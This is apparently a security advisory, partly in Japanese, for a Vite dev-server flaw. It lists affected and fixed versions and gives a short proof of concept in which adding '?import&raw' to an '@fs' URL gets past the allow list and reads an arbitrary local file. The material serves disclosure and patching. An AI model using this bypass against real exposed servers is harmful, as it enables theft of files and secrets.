| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| vite | ≥ 4.0.0, < 4.5.4≥ 5.0.0, < 5.1.8≥ 5.2.0, < 5.2.14≥ 5.3.0, < 5.3.6≥ 5.4.0, < 5.4.6< 3.2.11 | 4.5.45.1.85.2.145.3.65.4.63.2.11 |
The contents of arbitrary files can be returned to the browser.
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャン